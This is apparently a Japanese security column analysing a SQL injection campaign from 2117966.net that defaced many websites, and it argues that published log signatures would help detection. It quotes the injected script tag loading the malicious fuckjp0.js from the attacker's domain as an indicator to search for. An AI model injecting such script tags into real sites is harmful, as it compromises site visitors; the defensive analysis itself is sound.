3月12日ころに発生した中国からのSQLインジェクション攻撃の急増事件。何万件ものWebサイトが改ざんされたことは,前号で述べた通りである。

 この攻撃は,「2117966.net」から仕掛けられたため,DNSの正引きで返ってくるIPアドレスに注目が集まった。「2117966.net」からの通信を遮断すれば,攻撃から逃れられるためである。

 ただ,これは根本的な解決にはならない。実際,2117966.net騒ぎに乗じた犯行にも思えるが,同時期に中国の別のIPアドレスからiframeタグ挿入の攻撃が発生していた。SQL Serverへの侵入も確認されている。

 にもかかわらず,多くの注意喚起では主に,エンドユーザー向けとして

(1)攻撃元からの通信のブロック
(2)JavaScriptの無効化
Webサイト向けとして
(3)Webアプリケーションのソースコードの改修

というように,緊急事態の割には中途半端な対応策が目立っていた。もっと知らせるべきことがあったのではないだろうか。例えば攻撃トラフィックの内容や,攻撃トラフィックを見付け出すための検索キーワードを公開していれば,組織内での対応方法が,より明確になったはずである。

不正入力はアクセス・ログに痕跡残る

 というのも,この攻撃の特徴の一つは,SQLインジェクションを実行する際のトラフィックにあるからだ。ブラウザから入力されるデータを見れば,ある程度攻撃を見分けられる。

 今回の攻撃で言えば,SQLインジェクションでWebページに埋め込まれたのは「fuckjp0.jsという名の悪意あるスクリプト」を呼び出すための<SCRIPT>タグである。入力データには,「<script src=http://www.2117966.net/fuckjp0.js></script>」という文字列が含まれていたはずだ。

 図1は実際に2117966.netから攻撃されたWebサイトのアクセス・ログである。これを見ると分かるように,SQLインジェクションの際に送られた攻撃コードは判読できない状態(図1の例は16進数コード)に変換されている。図1の右下にある「EXEC」という文字列から,かろうじて,何らかのコードを実行しているのだろうと見当は付くが,詳細な内容は全く分からない。こうした操作を「難読化」という。最近の攻撃では,IDS/IPS(侵入検知/防御システム)などのセキュリティ機器を突破するために,このように攻撃コードを難読化する方法が一般化しつつある。

図1●中国(2117966.net)からのSQLインジェクション攻撃のアクセス・ログ&lt;br&gt;攻撃コードが記録されているが,意味が分からない文字列に変換(難読化)されている。
図1●中国(2117966.net)からのSQLインジェクション攻撃のアクセス・ログ
攻撃コードが記録されているが,意味が分からない文字列に変換(難読化)されている。
[画像のクリックで拡大表示]